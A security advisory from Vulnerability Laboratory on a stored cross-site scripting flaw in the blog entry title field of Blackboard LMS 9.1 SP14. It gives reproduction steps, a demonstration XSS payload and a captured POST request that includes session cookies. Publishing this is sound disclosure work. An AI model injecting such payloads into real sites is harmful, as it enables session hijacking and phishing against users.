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BlackBoard LMS 9.1 SP14 - (Title) Persistent Vulnerability

Document Title:
===============
BlackBoard LMS 9.1 SP14 - (Title) Persistent Vulnerability 


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1901


Release Date:
=============
2017-01-10


Vulnerability Laboratory ID (VL-ID):
====================================
1901


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
Bring your classrooms online with Blackboard's learning management system (LMS) 
offerings. With tools to engage, 
collaborate, grade, track assignments and more, you can reach students to 
ensure they effectively interact with 
the content and curriculum. Regardless of the environment, there are core 
components of online learning that 
enrich the learning process.

(Copy of the Homepage: 
http://www.blackboard.com/learning-management-system/lms-software.aspx )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stored cross site 
scripting vulnerability in the BlackBoard LMS  9.1 SP14 web-application.


Vulnerability Disclosure Timeline:
==================================
2017-01-10:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
BlackBoard Inc.
Product: Blackboard LMS - Content Management System 9.1 SP 14


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting vulnerability has been discovered in the 
official BlackBoard LMS web-application.
The issue allows remote attackers to inject own malicious script codes to the 
application-side of the vulnerable module. 

Remote attackers are able to inject malicious java script code into blackboard 
blog module `Groups -- Group Blogs`, users 
with low privileged access are able to inject via blog entries name [blog post 
title] input. The vulnerability is located 
in the title of the blog entries. The vulnerable parameter `title` becomes 
stored during the save procedure which results 
in a persistent attack. The request method to inject the malicious script code 
is POST. We discovered during the tests 
that any user (student) can create groups to share blog entries with others 
users and instructors(admins).

The security risk of the xss vulnerabilities are estimated as medium with a 
cvss (common vulnerability scoring system) count of 3.6. 
Exploitation of the client-side vulnerabilities requires no privileged 
web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing 
attacks, session hijacking, non-persistent external 
redirect to malicious sources and non-persistent manipulation of affected or 
connected web module context.

Request Method(s):
[+] POST 

Vulnerable Module(s): 
[+] ./webapps/blogs-journals/execute/editBlogEntry

Vulnerable Parameter(s):
[+] title


Proof of Concept (PoC):
=======================
The application-side web vulnerabilities can be exploited by remote attackers 
with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


Manual steps to reproduce ...
1. User(studnet) goes to groups module > Group Blog . 
2. Add new Blog Entry and fill the title field with persistent payload ['><img 
src=x onerror=prompt(vulnlab)>] and save it 
3. All group users besides instructor(admin) is on XSS impact remotely 
4. User(student) can use this direct link filled with correct blog entries and 
course id for remote exploitation 
Note: 
https://www.coursesites.com/webapps/blogs-journals/execute/viewBlog?course_id=[COURSEID]&blog_id=[BLOGID]&type=blogs&group_id=[GROUPID]#entry[ENTRYID]
5. Successfully repoduce of the vulnerability!


--- PoC Session Logs [POST] ---
POST /webapps/blogs-journals/execute/editBlogEntry HTTP/1.1
Host: www.coursesites.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: 
https://www.coursesites.com/webapps/blogs-journals/execute/editBlogEntry?course_id=_431252_1&editBlogEntryAction=createBlogEntry&type=blogs&blog_id=_312829_1&group_id=_181115_1
Cookie: JSESSIONID=58EB3946445655C52261E889490C91B3; 
__utma=154552106.1787260759.1470597563.1470656643.1470739482.4; 
COOKIE_CONSENT_ACCEPTED=true; 
NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d149145525d5f4f58455e445a4a42378b;
 
session_id=F79695995C5FFC248070A1866553BD4F; 
s_session_id=399624D4A37441544BECB62DDCA5D814; 
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------1940990443924357844937052572
Content-Length: 2614
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; 
name="blackboard.platform.security.NonceUtil.nonce"
f1d585ce-9d86-4d1b-b7e1-d344ac3122ec
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="isAddForm"
true
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="course_id"
_431252_1
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="blog_entry_id"
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="blog_id"
_312829_1
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="group_id"
_181115_1
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="owner_id"
_7028078_1
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="type"
blogs
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="submitAction"
post
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="editBlogEntryAction"
add
-----------------------------1940990443924357844937052572
Content-Disposition: form-data; name="title"


Reference(s):
http://bb-lms.localhost:8080/
http://bb-lms.localhost:8080/webapps/
http://bb-lms.localhost:8080/webapps/blogs-journals/
http://bb-lms.localhost:8080/webapps/blogs-journals/execute/
http://bb-lms.localhost:8080/webapps/blogs-journals/execute/editBlogEntry


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - ( 
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


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